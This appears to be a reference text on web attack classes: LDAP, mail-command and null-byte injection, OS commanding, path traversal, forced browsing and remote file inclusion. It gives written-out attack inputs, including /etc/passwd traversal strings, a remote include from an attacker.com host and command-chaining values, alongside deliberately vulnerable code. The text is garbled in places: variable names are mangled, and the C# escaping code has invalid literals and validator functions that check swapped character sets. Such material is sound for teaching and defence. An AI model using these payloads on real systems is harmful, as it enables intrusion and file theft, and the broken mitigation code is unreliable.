LDAP Injection is an attack technique used to exploit web sites that construct LDAP statements from user-supplied input.

Lightweight Directory Access Protocol (LDAP) is an open-standard protocol for both querying and manipulating X.500 directory services. The LDAP protocol runs over Internet transport protocols, such as TCP. Web applications may use user-supplied input to create custom LDAP statements for dynamic web page requests.

When a web application fails to properly sanitize user-supplied input, it is possible for an attacker to alter the construction of an LDAP statement. When an attacker is able to modify an LDAP statement, the process will run with the same permissions as the component that executed the command. (e.g. Database server, Web application server, Web server, etc.). This can cause serious security problems where the permissions grant the rights to query, modify or remove anything inside the LDAP tree. The same advanced exploitation techniques available in SQL Injection can also be similarly applied in LDAP Injection.

EXAMPLE

Vulnerable code:

```
line   1 using System;
line   2 using System.Configuration;
line   3 using System.Data;
line   4 using System.Web;
line   5 using System.Web.Security;
line   6 using System.Web.UI;
line   7 using System.Web.UI.HtmlControls;
line   8 using System.Web.UI.WebControls;
line   9 using System.Web.UI.WebControls.WebParts;
line  10
line  11 using System.DirectoryServices;
line  12
line  13 public partial class _Default : System.Web.UI.Page
line  14 {
line  15     protected void Page_Load(object sender, EventArgs e)
line  16     {
line  17         string 74nterpre;
line  18         DirectoryEntry entry;
line  19
```

```
line  20         userName = Request.QueryString[“user”];
line  21
line  22         if (string.IsNullOrEmpty(75nterpre))
line  23         {
line  24             Response.Write(“<b>Invalid request. Please specify valid
user name</b></br>”);
line  25             Response.End();
line  26
line  27             return;
line  28         }
line  29
line  30         DirectorySearcher searcher = new DirectorySearcher();
line  31
line  32         searcher.Filter = “(&(samAccountName=” + 75nterpre + “))”;
line  33
line  34         SearchResultCollection results = searcher.FindAll();
line  35
line  36         foreach (SearchResult result in results)
line  37         {
line  38             entry = result.GetDirectoryEntry();
line  39
line  40             Response.Write(“<p>”);
line  41             Response.Write(“<b><u>User information for : “ + entry.Name
+ “</u></b><br>”);
line  42
line  43             foreach (string proName in entry.Properties.PropertyNames)
line  44             {
line  45                 Response.Write(“<br>Property : “ + proName);
line  46
line  47                 foreach( object val in entry.Properties[proName] )
line  48                 {
line  49                     Response.Write(“<br>Value: “ + val.ToString());
line  50                 }
line  51             }
line  52
line  53             Response.Write(“</p>”);
line  54         }
line  55     }
line  56 }
```

Looking at the code, we see on line 20 that the 75nterpre variable is initialized with the parameter user and then quickly validated to see if the value is empty or null. If the value is not empty, the 75nterpre is used to initialize the filter property on line 32. In this scenario, the attacker has complete control over what will be queried on the LDAP server, and he will get the result of the query when the code hits line 34 to 53 where all the results and their attributes are displayed back to the user.

ATTACK EXAMPLE

```
http://example/default.aspx?user=*
```

In the example above, we send the * character in the user parameter which will result in the filter variable in the code to be initialized with (samAccountName=*).

The resulting LDAP statement will make the server return any object that contains the samAccountName attribute. In addition, the attacker can specify other attributes to search for and the page will return an object matching the query.

MITIGATION

The escape sequence for properly using user supplied input into LDAP differs depending on if the user input is used to create the DN (Distinguished Name) or used as part of the search filter. The listings below shows the character that needs to be escape and the appropriate escape method for each case.

USED IN DN – REQUIRES \ ESCAPE

- &
- !
- |
- =
- <
- >
- ,
- +
- -
- "
- '
- ;

USED IN FILTER- REQUIRES {\ASCII} ESCAPE

- ({\28}
-) {\29}
- \ {\5c}
- * {\2a}
- / {\2f}
- NUL {\0}

The code below implements the escape logic for both DN and Filter case. Use ***CanonicalizeStringForLdapFilter()*** to escape when the input is used to create the filter and ***CanonicalizeStringForLdapDN()*** for DN. In addition, both ***IsUserGivenStringPluggableIntoLdapSearchFilter*** and ***IsUserGivenStringPluggableIntoLdapDN*** can be used to detect the presence of restricted characters.

```
Line   1 using System;
line   2 using System.Collections.Generic;
line   3 using System.Text;
line   4
line   5 namespace LdapValidation
```

```
line   6 {
line   7     public class LdapCanonicaliztion
line   8     {
line   9         /// <summary>
line  10         /// Characters that must be escaped in an LDAP filter path
line  11        /// WARNING: Always keep '\' at the very beginning to avoid
recursive replacements
line  12         /// </summary>
line  13         private static char[] ldapFilterEscapeSequence = new char[] {
'\', '*', '(', ')', '

', '/' };
line  14
line  15         /// <summary>
line  16         /// Mapping strings of the LDAP filter escape sequence
characters
line  17         /// </summary>
line  18         private static string[] ldapFilterEscapeSequenceCharacter = new
string[] { "\5c", "\2a", "\28", "\29", "\00", "\2f" };
line  19
line  20         /// <summary>
line  21         /// Characters that must be escaped in an LDAP DN path
line  22         /// </summary>
line  23         private static char[] ldapDnEscapeSequence = new char[] { '\',
',', '+', '"', '<', '>',';' };
line  24
line  25         /// <summary>
line  26         /// Canonicalize a ldap filter string by inserting LDAP escape
sequences.
Line  27         /// </summary>
line  28         /// <param name="userInput">User input string to
canonicalize</param>
line  29         /// <returns>Canonicalized user input so it can be used in LDAP
filter</returns>
line  30         public static string CanonicalizeStringForLdapFilter(string
userInput)
line  31         {
line  32             if (String.IsNullOrEmpty(userInput))
line  33             {
line  34                 return userInput;
line  35             }
line  36
line  37             string name = (string)userInput.Clone();
line  38
line  39             for (int charIndex = 0; charIndex <
ldapFilterEscapeSequence.Length; ++charIndex)
line  40             {
line  41                 int index =
name.IndexOf(ldapFilterEscapeSequence[charIndex]);
line  42                 if (index != -1)
line  43                 {
line  44                     name = name.Replace(new
String(ldapFilterEscapeSequence[charIndex], 1),
ldapFilterEscapeSequenceCharacter[charIndex]);
line  45                 }
```

```
line  46            }
line  47
line  48            return name;
line  49        }
line  50
line  51        /// <summary>
line  52        /// Canonicalize a ldap dn string by inserting LDAP escape
sequences.
Line  53        /// </summary>
line  54        /// <param name=”userInput”>User input string to
canonicalize</param>
line  55        /// <returns>Canonicalized user input so it can be used in LDAP
filter</returns>
line  56        public static string CanonicalizeStringForLdapDN(string
userInput)
line  57        {
line  58            if (String.IsNullOrEmpty(userInput))
line  59            {
line  60                return userInput;
line  61            }
line  62
line  63            string name = (string)userInput.Clone();
line  64
line  65            for (int charIndex = 0; charIndex <
ldapDnEscapeSequence.Length; ++charIndex)
line  66            {
line  67                int index =
name.IndexOf(ldapDnEscapeSequence[charIndex]);
line  68                if (index != -1)
line  69                {
line  70                    name = name.Replace(new
string(ldapDnEscapeSequence[charIndex], 1), @”\” +
ldapDnEscapeSequence[charIndex] );
line  71                }
line  72            }
line  73
line  74            return name;
line  75        }
line  76
line  77        /// <summary>
line  78        /// Ensure that a user provided string can be plugged into an
LDAP search filter
line  79        /// such that there is no risk of an LDAP injection attack.
Line  80        /// </summary>
line  81        /// <param name=”userInput”>String value to check.</param>
line  82        /// <returns>True if value is valid or null, false
otherwise.</returns>
line  83        public static bool
IsUserGivenStringPluggableIntoLdapSearchFilter(string userInput)
line  84        {
line  85            if (string.IsNullOrEmpty(userInput))
line  86            {
line  87                return true;
line  88            }
line  89
```

```
line  90             if (userInput.IndexOfAny(ldapDnEscapeSequence) != -1)
line  91             {
line  92                 return false;
line  93             }
line  94
line  95             return true;
line  96         }
line  97
line  98         /// <summary>
line  99         /// Ensure that a user provided string can be plugged into an
LDAP DN
line 100         /// such that there is no risk of an LDAP injection attack.
Line 101         /// </summary>
line 102         /// <param name="userInput">String value to check.</param>
line 103         /// <returns>True if value is valid or null, false
otherwise.</returns>
line 104         public static bool IsUserGivenStringPluggableIntoLdapDN(string
userInput)
line 105         {
line 106             if (string.IsNullOrEmpty(userInput))
line 107             {
line 108                 return true;
line 109             }
line 110
line 111             if (userInput.IndexOfAny(ldapFilterEscapeSequence) != -1)
line 112             {
line 113                 return false;
line 114             }
line 115
line 116             return true;
line 117         }
line 118     }
line 119 }
@@@SMARTY:TRIM:PRE@@@
```

REFERENCES

"LDAP Injection: Are Your Web Applications Vulnerable?", By Sacha Faust – SPI Dynamics

[1] http://ebook.security-portal.cz/book/hacking_method/LDAP/LDAPinjection.pdf

"LDAP Injection & Blind LDAP Injection"

[2] http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada

/Whitepaper/bh-eu-08-alonso-parada-WP.pdf

"A String Representation of LDAP Search Filters"

[3] http://www.ietf.org/rfc/rfc1960.txt

"Understanding LDAP"

[4] http://www.redbooks.ibm.com/redbooks/SG244986.html

"LDAP Resources"

[5] http://ldapman.org/

Failure to Sanitize Data into LDAP Queries ('LDAP Injection')

[6] http://cwe.mitre.org/data/definitions/90.html

MAIL COMMAND INJECTION (WASC-30)

Mail Command Injection is an attack technique used to exploit mail servers and webmail applications that construct IMAP/SMTP statements from user-supplied input that is not properly sanitized. Depending on the type of statement taken advantage by the attacker, we meet two types of injections: IMAP and SMTP Injection. An IMAP/SMTP Injection may make it possible to access a mail server which you previously had no access to before-hand. In some cases, these internal systems do not have the same level of infrastructure security hardening applied to them as most front-end web servers. Hence, attackers may find that the mail server yields better results in terms of exploitation. On the other hand, this technique allows to evade possible restrictions that could exist at application level (CAPTCHA, maximum number of requests, etc.).

In any case, the typical structure of an IMAP/SMTP Injection is as follows:

```
Header: ending of the expected command;
Body: injection of the new command(s);
Footer: beginning of the expected command.
```

It is important to note that in order to execute the IMAP/SMTP command, the previous command must have been terminated with the CRLF (%0d%0a) sequence.

Some examples of attacks using the IMAP/SMTP Injection technique are:

```
Exploitation of vulnerabilities in the IMAP/SMTP protocol
Application restrictions evasion
Anti-automation process evasion
Information leaks
Relay/SPAM
```

EXAMPLE ATTACK SCENARIOS

IMAP INJECTION

Since command injection is done over the IMAP server, the format and specifications of this protocol must be followed. Webmail applications typically communicate with the IMAP server to carry out their operations in most cases and hence are more vulnerable to this kind of attack.

IMAP Injection is also possible in an unauthenticated state. In this scenario, IMAP commands are available but limited to: CAPABILITY, NOOP, AUTHENTICATE, LOGIN and LOGOUT.

Let's look at an example of IMAP Injection by exploiting the functionalities of reading a message. Assume that the webmail application uses the parameter "message_id" to store the identifier of the message that the user wants to read. When a request containing the message identifier is sent the request would appear as:

```
http://<webmail>/read_email.php?message_id=<number>
```

Suppose that the webpage "read_email.php", responsible for showing the associated message, transmits the request to the IMAP server without performing any validation over the value <number> given by the user. The command sent to the mail server would look like this:

```
FETCH <number> BODY[HEADER]
```

In this context, a malicious user could try to conduct IMAP Injection attacks through the parameter "message_id" used by the application to communicate with the mail server. For example, the IMAP command "CAPABILITY" could be injected using the next sequence:

```
http://<webmail>/read_email.php?message_id=1 BODY[HEADER]%0d%0aV001
CAPABILITY%0d%0aV002 FETCH 1
```

This would produce the next sequence on IMAP commands in the server:

```
???? FETCH 1 BODY[HEADER]
V001 CAPABILITY
V002 FETCH 1 BODY[HEADER]
```

where:

```
Header = 1 BODY[HEADER]
Body   = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 1
```

SMTP INJECTION

Since command injection is performed over the SMTP server, the format and specifications of this protocol must adhere to this protocol. Due to the limited operations permitted by the application using the SMTP protocol, we are basically limited to sending e-mail. The use of SMTP Injection requires that the user be authenticated previously, so it is necessary that the attacker have a valid webmail account.

Let's look at an example for evading the limit of maximum emails that are allowed to be sent.

Suppose a webmail application restricts the number of emails sent in a chosen time period. SMTP Injection would allow evasion of this restriction simply by adding as many RCPT commands as destinations that the attacker wants:

```
POST http://<webmail>/compose.php HTTP/1.1
----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
Test
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain1.com
RCPT TO: external@domain2.com
RCPT TO: external@domain3.com
RCPT TO: external@domain4.com
Data
This is an example of SMTP Injection attack
.
----------------------------134475172700422922879687252
...
```

This would produce the following sequence of SMTP commands to be sent to the mail server:

```
MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: Test
.
MAIL FROM: external@domain.com
RCPT TO: external@domain1.com
RCPT TO: external@domain2.com
RCPT TO: external@domain3.com
RCPT TO: external@domain4.com
DATA
This is an example of SMTP Injection attack
.
...
```

REFERENCES

"RFC 0821: Simple Mail Transfer Protocol"

[1] http://www.ietf.org/rfc/rfc0821.txt

"RFC 3501: Internet Message Access Protocol – Version 4rev1"

[2] http://www.ietf.org/rfc/rfc3501.txt

"CRLF Injection by Ulf Harnhammar"

[3] http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-05/0077.html

"Email Injection – Injecting email headers"

[4] http://www.securephpwiki.com/index.php/Email_Injection

"PHP Mail Functions discussions"

[5] http://www.php.net/manual/en/ref.mail.php#62027

"E-mail Spoofing and CDONTS.NEWMAIL", David Litchfield

[6] http://www.nextgenss.com/papers/aspmail.pdf

"Testing for IMAP/SMTP Injection", Vicente Aguilera.

[7] http://www.owasp.org/index.php/Testing_for_IMAP/SMTP_Injection

"MX Injection : Capturing and Exploiting Hidden Mail Servers", Vicente Aguilera.

[8] http://www.webappsec.org/projects/articles/121106.pdf

NULL BYTE INJECTION (WASC-28)

Null Byte Injection is an active exploitation technique used to bypass sanity checking filters in web infrastructure by adding URL-encoded null byte characters (i.e. %00, or 0x00 in hex) to the user-supplied data. This injection process can alter the intended logic of the application and allow malicious adversary to get unauthorized access to the system files.

Most web applications today are developed using higher-level languages such as, PHP, ASP, Perl, and Java. However, these web applications at some point require processing of high-level code at system level and this process is usually

accomplished by using 'C/C++' functions. The diverse nature of these dependent technologies has resulted in an attack class called 'Null Byte Injection' or 'Null Byte Poisoning' attack. In C/C++, a null byte represents the string termination point or delimiter character which means to stop processing the string immediately. Bytes following the delimiter will be ignored. If the string loses its null character, the length of a string becomes unknown until memory pointer happens to meet next zero byte. This unintended ramification can cause unusual behavior and introduce vulnerabilities within the system or application scope. In similar terms, several higher-level languages treat the 'null byte' as a placeholder for the string length as it has no special meaning in their context. Due to this difference in interpretation, null bytes can easily be injected to manipulate the application behavior.

URLs are limited to a set of US-ASCII characters ranging from 0x20 to 0x7E (hex) or 32 to 126 (decimal)[5][8]. However, the aforementioned range uses several characters that are not permitted because they have special meaning within HTTP protocol context. For this reason, the URL encoding scheme was introduced to include special characters within URL using the extended ASCII character representation. In terms of "null byte", this is represented as %00 in hexadecimal. The scope of a null byte attack starts where web applications interact with active 'C' routines and external APIs from the underlying OS. Thus, allowing an attacker to manipulate web resources by reading or writing files based on the application's user privileges.

Let's take some examples to demonstrate a real-world attack:

EXAMPLE#1 PERL

Perl is written on the top of 'C' and 'C' language handles the null byte as a string terminator, while Perl itself does not. If the Perl script is processing user-supplied malicious data (i.e. %00 embedded), it will be passed to the system call function "open FILE ( )" and furthermore passed onto the 'C' engine for final processing. This allows the underlying 'C' processor to reject anything beyond the "%00" null byte character. As in the case mentioned below, the user supplied filename will be filtered against basic acceptable characters set and then passed on to be read from the user(s) directory with a pre-defined extension (JPG). From here an attacker can manipulate this request to execute or read a system file (e.g. /etc/passwd) by embedding a 'null byte %00' with a valid extension to fool the code into processing the request successfully.

Code Snippet:

```
$buffer = $ENV{'QUERY_STRING'};
$buffer =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$fn = '/home/userx/data/' .$buffer. '.jpg';
open (FILE,"<$fn");
```

Exploitation:

```
Normal Mode: http://www.example.host/read.pl?page=userphoto.jpg
Attacking Mode: http://www.example.host/read.pl?page=../../../../etc/passwd%00jpg
```

EXAMPLE#2 PHP

The scenario mentioned above is also true with PHP technology. For instance, if a user requests a personal data file from the server, it will be validated by appending '.DAT' extension to the filename. This script itself appears to be secure by enforcing the file extension but the request for the resource can be manipulated by appending a "%00" null byte at the end of URL. Thus, a malicious adversary can take advantage of this vulnerability to read almost any system file through a simple browser.

Code Snippet:

```
$file = $_GET['file'];
require_once("/var/www/images/$file.dat");
```

Exploitation:

```
Normal Mode: http://www.example.host/user.php?file=myprofile.dat
Attacking Mode: http://www.example.host/user.php?file=../../../etc/passwd%00
```

EXAMPLE#3 JAVA

The trend of null byte injection attack is also common in Java. For instance, by examining the details of a vulnerable function "File ( )" inside "java.io.File" which passes its argument to the underlying 'C' API to process the user request failed to determine the actual file extension because it treats the occurrence of first null byte as a string terminator. Let us assume the following example in which a user is requesting access to the specific file where the extension is enforced as ".db" by the developer for validation purposes. The same request can be simulated by the attacker but in a different way to access the system resource by embedding a "%00" null byte with a valid filename and extension.

Code Snippet:

```
String fn = request.getParameter("fn");
if (fn.endsWith(".db"))
{
File f = new File(fn);
//read the contents of "f" file
…
}
```

Exploitation:

```
Normal Mode: http://www.example.host/mypage.jsp?fn=report.db
Attacking Mode: http://www.example.host/mypage.jsp?fn=serverlogs.txt%00.db
```

REFERENCES

"Prevent PHP NULL byte or upload file security hole", Nitin Gupta (2009)

[1] http://www.fruitnotes.com/blogs/Prevent_php_NULL_byte_or_upload_file_security_hole_1762

"Null byte attacks are alive and well", Portswigger (2008)

[2] http://blog.portswigger.net/2008/05/null-byte-attacks-are-alive-and-well.html

"CGI Security and the null byte problem", Ovid (2000)

[3] http://www.perlmonks.org/index.pl?node_id=38548

"Test cases for null-byte injections in Java", Arshan Dabirsiaghi

[4] http://i8jesus.com/stuff/Test.java

[5] "The Web Application Hackers Handbook", Dafydd Stuttard, Marcus Pinto (2008)

[6] "Apache Security", Ivan Ristic (2005)

[7] "The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities", Mark Dowd, John McDonald, Justin Schuh (2006)

Request for Comments: 2396 – "Uniform Resource Identifiers (URI): Generic Syntax", T. Berners-Lee, R. Fielding, U.C. Irvine, L. Masinter (1998)

[8] http://www.ietf.org/rfc/rfc2396.txt

CAPEC-52: Embedding NULL Bytes

[9] http://capec.mitre.org/data/definitions/52.html

Perl CGI problems: Phrack Magazine Vol.9 Issue-55

[10] http://www.phrack.com/issues.html?issue=55&id=7#article

OS COMMANDING (WASC-31)

OS Commanding is an attack technique used for unauthorized execution of operating system commands.

OS Commanding is the direct result of mixing trusted code and untrusted data. This attack is possible when an application accepts untrusted input to build operating system commands in an insecure manner involving improper data sanitization, and/or improper calling of external programs. In OS Commanding, executed commands by an attacker will run with the same privileges of the component that executed the command, (e.g. database server, web application server, web server, wrapper, application). Since the commands are executed under the privileges of the executing component an attacker can leverage this to gain access or damage parts that are otherwise unreachable (e.g. the operating system directories and files).

PERL EXAMPLE

open function is part of the API Perl provides for file handling. Improper use of this function may result in OS Commanding since Perl allows piping data from a process into an open statement, by appending a '|' (Pipe) character onto the end of a filename.

```
# The code below executes "/bin/ls" and pipe the output to the open statement
open FILE, "/bin/ls|" or die $!;
```

Web applications often include parameters that specify a file that is displayed or used as a template. Without proper input validation, an attacker may change the parameter value to include a shell command followed by the pipe symbol, shown above.

If the original URL of the web application is:

```
http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt
```

Changing the template parameter value, the attacker can trick the web application into executing the command /bin/ls:

```
http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls|
```

JAVA EXAMPLE

Java provides **Runtime** class *allowing the application to interface with the environment in which the application is running*. From the Java 2 documentation;

"*Every Java application has a single instance of class Runtime that allows the application to interface with the environment in which the application is running. The current runtime can be obtained from the getRuntime method...* "

```
public string cmdExecution(String id){
  try {
    Runtime rt = Runtime.getRuntime();
    rt.exec("LicenseChecker.exe" + " -ID " + id);
  }
  catch(Exception e){
    //...
  }
}
```

The snippet above assumes that **id** is passed to the **Runtime.exec** method without any validation, therefore, it yields to OS Commanding. For example, if an attacker provides the value *3c8f2a –bypass* for an **id**, the attacker may trigger the license validation operation to be bypassed. Depending on what the external program is, it may also be possible to execute multiple commands through this attack technique.

Here's another version of the code piece above;

```
public string cmdExecution(String id){
  try {
    Runtime rt = Runtime.getRuntime();
    rt.exec("cmd.exe /C LicenseChecker.exe" + " -ID " + id);
  }
  catch(Exception e){
    //...
  }
}
```

Since the first item to be called, **cmd.exe**, is an application which parses the arguments, interprets them and further call other external applications, it's possible for an attacker to call external programs. **Cmd.exe** interprets & character (*; in Unix-like systems*) as the boundary to execute multiple commands. So, if an attacker provides the value *3c8f2a & ping –t www.target.site* for an **id**, he may also run a ping on www.target.site on the target machine with the privileges of the user running the vulnerable application.

C# EXAMPLE

.NET provides "access to local and remote processes and enables you to start and stop local system processes" through System.Diagnostics.Process class. From the MSDN documentation;

"*... A Process component provides access to a process that is running on a computer. A process, in the simplest terms, is a running application. A thread is the basic unit to which the operating system allocates processor time. A thread can*

execute any part of the code of the process, including parts currently being executed by another thread ....”

```
public void cmdExecution(String id){
  ProcessStartInfo psi = new ProcessStartInfo(“LicenseChecker.exe”);
  psi.UseShellExecute = true;
  psi.Arguments = id;
  Process.Start(psi);
}
```

If an attacker provides the value *3c8f2a –bypass* for an **id**, the attacker may trigger the license validation operation to be bypassed. The reasoning in Java applies here, too. It may be possible to execute multiple commands if the program to be called, like **cmd.exe**, interprets the arguments. There’re also other ways of running applications in .NET, one of which is;

```
Process.Start(“LicenseChecker.exe “, id);
```

PHP EXAMPLE

PHP provides a good list of functions, one of which is passthru, in order to execute external programs.

```
<?php
  if(isset($_GET[‘cmd’])){
    $cmd = ‘LicenseChecker.exe ‘ . $_GET[‘cmd’];
    passthru ($cmd);
  }
?>
```

PHP functions **passthru**, **exec** runs through shell so, with no proper validation nor escaping, it is possible to execute multiple OS commands.

REFERENCES

“open function Perl Documentation”

[1] http://perldoc.perl.org/functions/open.html

“Runtime Class Java 2 Documentation”

[2] http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Runtime.html

“Process Class MSDN Documentation”

[3] http://msdn.microsoft.com/en-us/library/system.diagnostics.process.aspx

"Perl CGI Problems", By RFP – Phrack Magazine, Issue 55

[4] http://www.wiretrip.net/rfp/txt/phrack55.txt (See "That pesky pipe" section)

"Marcus Xenakis directory.php Shell Command Execution Vulnerability"

[5] http://www.securityfocus.com/bid/4278

"NCSA Secure Programming Guidelines"

[6] http://thinkunix.net/unix/security/secure-programming.html

"passthru function PHP Manual"

[7] http://php.net/passthru

"CWE-78: Failure to Preserve OS Command Structure (aka 'OS Command Injection')"

[8] http://cwe.mitre.org/data/definitions/78.html

"CAPEC: OS Command Injection"

[9] http://capec.mitre.org/data/definitions/88.html

"OWASP: Command Injection"

[10] http://www.owasp.org/index.php/Command_injection

"List of Web Hacking Incidents: OS Commanding"

[11] http://whid.webappsec.org/whid-list/OS+Commanding

PATH TRAVERSAL (WASC-33)

The Path Traversal attack technique allows an attacker access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any device that exposes an HTTP-based interface is potentially vulnerable to Path Traversal.

Most web sites restrict user access to a specific portion of the file-system, typically called the "web document root" or "CGI root" directory. These directories contain the files intended for user access and the executable necessary to drive web application functionality. To access files or execute commands anywhere on the file-system, Path Traversal attacks will utilize the ability of special-characters sequences.

The most basic Path Traversal attack uses the "../" special-character sequence to alter the resource location requested in the URL. Although most popular web servers will prevent this technique from escaping the web document root, alternate encodings of the "../" sequence may help bypass the security filters. These method variations include valid and invalid Unicode-encoding ("..%u2216" or "..%c0%af") of the forward slash character, backslash characters ("..\") on Windows-based servers, URL encoded characters "%2e%2e%2f"), and double URL encoding ("..%255c") of the backslash character.

Even if the web server properly restricts Path Traversal attempts in the URL path, a web application itself may still be vulnerable due to improper handling of user-supplied input. This is a common problem of web applications that use template mechanisms or load static text from files. In variations of the attack, the original URL parameter value is substituted with the file name of one of the web application's dynamic scripts. Consequently, the results can reveal source code because the file is interpreted as text instead of an executable script. These techniques often employ additional special characters such as the dot (".") to reveal the listing of the current working directory, or "%00" NULL characters in order to bypass rudimentary file extension checks.

EXAMPLE

Path Traversal attacks against a web server

```
http://example/../../../../../etc/passwd
http://example/..%255c..%255c..%255cboot.ini
http://example/..%u2216..%u2216someother/file
```

Path Traversal attacks against a web application

```
Original: http://example/foo.cgi?home=index.htm
Attack: http://example/foo.cgi?home=foo.cgi
```

In the above example, the web application reveals the source code of the foo.cgi file because the value of the home variable was used as content. Notice that in this case the attacker does not need to submit any invalid characters or any path traversal characters for the attack to succeed. The attacker has targeted another file in the same directory as index.htm.

Path Traversal attacks against a web application using special-character sequences:

```
Original: http://example/scripts/foo.cgi?page=menu.txt
Attack: http://example/scripts/foo.cgi?page=../scripts/foo.cgi%00txt
```

In above example, the web application reveals the source code of the foo.cgi file by using special-characters sequences. The "../" sequence was used to traverse one directory above the current and enter the /scripts directory. The "%00" sequence

was used both to bypass file extension check and snip off the extension when the file was read in.

REFERENCE

"CERT¨ Advisory CA-2001-12 Superfluous Decoding Vulnerability in IIS"

[1] http://www.cert.org/advisories/CA-2001-12.html

"Novell Groupwise Arbitrary File Retrieval Vulnerability"

[2] http://www.securityfocus.com/bid/3436/info/

"Path Traversal" by Wikipedia

[3] http://en.wikipedia.org/wiki/Directory_traversal

"Path Traversal" CWE

[4] http://cwe.mitre.org/data/definitions/22.html

See Also "Null Byte Injection"

[5] http://projects.webappsec.org/Null-Byte-Injection

PREDICTABLE RESOURCE LOCATION (WASC-34)

Predictable Resource Location is an attack technique used to uncover hidden web site content and functionality. By making educated guesses via brute forcing an attacker can guess file and directory names not intended for public viewing. Brute forcing filenames is easy because files/paths often have common naming convention and reside in standard locations. These can include temporary files, backup files, logs, administrative site sections, configuration files, demo applications, and sample files. These files may disclose sensitive information about the website, web application internals, database information, passwords, machine names, file paths to other sensitive areas, etc...

This will not only assist with identifying site surface which may lead to additional site vulnerabilities, but also may disclose valuable information to an attacker about the environment or its users. Predictable Resource Location is also known as Forced Browsing, Forceful Browsing, File Enumeration, and Directory Enumeration.

EXAMPLE

Any attacker can make arbitrary file or directory requests to any publicly available web server. The existence of a resource can be determined by analyzing the web server HTTP response codes. There are several of Predictable Resource Location attack variations:

Blind searches for common files and directories:

```
/admin/
/backup/
/logs/
/test/
/test.asp
/test.txt
/test.jsp
/test.log
/Copy%20of%test.asp
/Old%20test.asp
/vulnerable_file.cgi
```

Adding extensions to existing filename: (/test.asp)

```
/test.asp.bak
/test.asp.txt
/test.bak
/test
```

For content not required to be world accessible either proper access controls should be applied, or removal of the content itself.

TOOLS

Grendel Scan

http://grendel-scan.com/

JbroFuzz

http://sourceforge.net/projects/jbrofuzz

OWASP List of Tools

http://www.owasp.org/index.php/Phoenix/Tools

Nikto

http://www.cirt.net/

w3bfukk0r

http://www.ngolde.de/w3bfukk0r.html

REFERENCES

CWE-425 – Direct Request ('Forced Browsing')

[1] http://cwe.mitre.org/data/definitions/425.html

Forced browsing

[2] http://www.owasp.org/index.php/Forced_browsing

See also 'Insufficient Authorization'

[3] http://projects.webappsec.org/Insufficient-Authorization

REMOTE FILE INCLUSION (WASC-05)

Remote File Include (RFI) is an attack technique used to exploit "dynamic file include" mechanisms in web applications. When web applications take user input (URL, parameter value, etc.) and pass them into file include commands, the web application might be tricked into including remote files with malicious code.

Almost all web application frameworks support file inclusion. File inclusion is mainly used for packaging common code into separate files that are later referenced by main application modules. When a web application references an include file, the code in this file may be executed implicitly or explicitly by calling specific procedures. If the choice of module to load is based on elements from the HTTP request, the web application might be vulnerable to RFI.

An attacker can use RFI for:

- Running malicious code on the server: any code in the included malicious files will be run by the server. If the file include is not executed using some wrapper, code in include files is executed in the context of the server user. This could lead to a complete system compromise.
- Running malicious code on clients: the attacker's malicious code can manipulate the content of the response sent to the client. The attacker can embed malicious code in the response that will be run by the client (for example, JavaScript to steal the client session cookies).

PHP is particularly vulnerable to RFI attacks due to the extensive use of "file includes" in PHP programming and due to default server configurations that increase susceptibility to an RFI attack ([4,5]).

EXAMPLE

Typically, RFI attacks are performed by setting the value of a request parameter to a URL that refers to a malicious file. Consider the following PHP code:

```
$incfile = $_REQUEST["file"];
include($incfile.".php");
```

The first line of code extracts the value of the file parameter from the HTTP request. The second line of code dynamically sets the file name to be included using the extracted value. If the web application does not properly sanitize the value of the file parameter (for example, by checking against a white list) this code can be exploited. Consider the following URL:

```
http://www.target.com/vuln_page.php?file=http://www.attacker.com/malicous
```

In this case the included file name will resolve to:

```
http://www.attacker.com/malicous.php
```

Thus, the remote file will be included and any code in it will be run by the server.

In many cases, request parameters are extracted implicitly (when the *register_globals* variable is set to *On*). In this case the following code is also vulnerable to the same attack:

```
include($file.".php");
```

Other PHP commands vulnerable to RFI are *include_once*, *fopen*, *file_get_contents*, *require* and *require_once*. Additional information on PHP environment variable behavior can be found at [4].

REFERENCES:

Shaun Clowes, "A Study In Scarlet, Exploiting Common Vulnerabilities in PHP Applications", Blackhat Briefings Asia 2001

[1] http://www.securereality.com.au/studyinscarlet.txt

"Malicious File Inclusion" – OWASP Top 10

[2] http://www.owasp.org/index.php/Top_10_2007-A3

"Cafelog B2 Blog B2Verifauth.PHP Remote File Include Vulnerability"

[3] http://www.securityfocus.com/bid/21749/info

"PHP Runtime Configuration"

[4] http://php.net/manual/en/filesystem.configuration.php

"PHP Register Globals"

[5] http://php.net/register_globals

"Remote File Inclusion" – Wikipedia

[6] http://en.wikipedia.org/wiki/Remote_File_Inclusion

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')

[7] http://cwe.mitre.org/data/definitions/98.html

ROUTING DETOUR (WASC-32)

The WS-Routing Protocol (WS-Routing) is a protocol for exchanging SOAP messages from an initial message sender to an ultimate receiver, typically via a set of intermediaries. The WS-Routing protocol is implemented as a SOAP extension, and is embedded in the SOAP Header. WS-Routing is often used to provide a way to direct XML traffic through complex environments and transactions by allowing interim way stations in the XML path to assign routing instructions to an XML document.

Routing Detours are a type of "Man in the Middle" attack where Intermediaries can be injected or "hijacked" to route sensitive messages to an outside location. Routing information (either in the HTTP header or in WS-Routing header) can be modified en route and traces of the routing can be removed from the header and message such that the receiving application none the wiser that a routing detour has occurred. The header and the insertion of header objects is often less protected than the message; this is due to the fact that the header is used as a catch all for metadata about the transaction such as authentication, routing, formatting, schema, canonicalization, namespaces, etc. Also, many processes may be involved in adding to/processing the header of an XML document. In many implementations the routing info can come from an external web service (using WS-Referral for example) that provides the specific routing for the transaction.

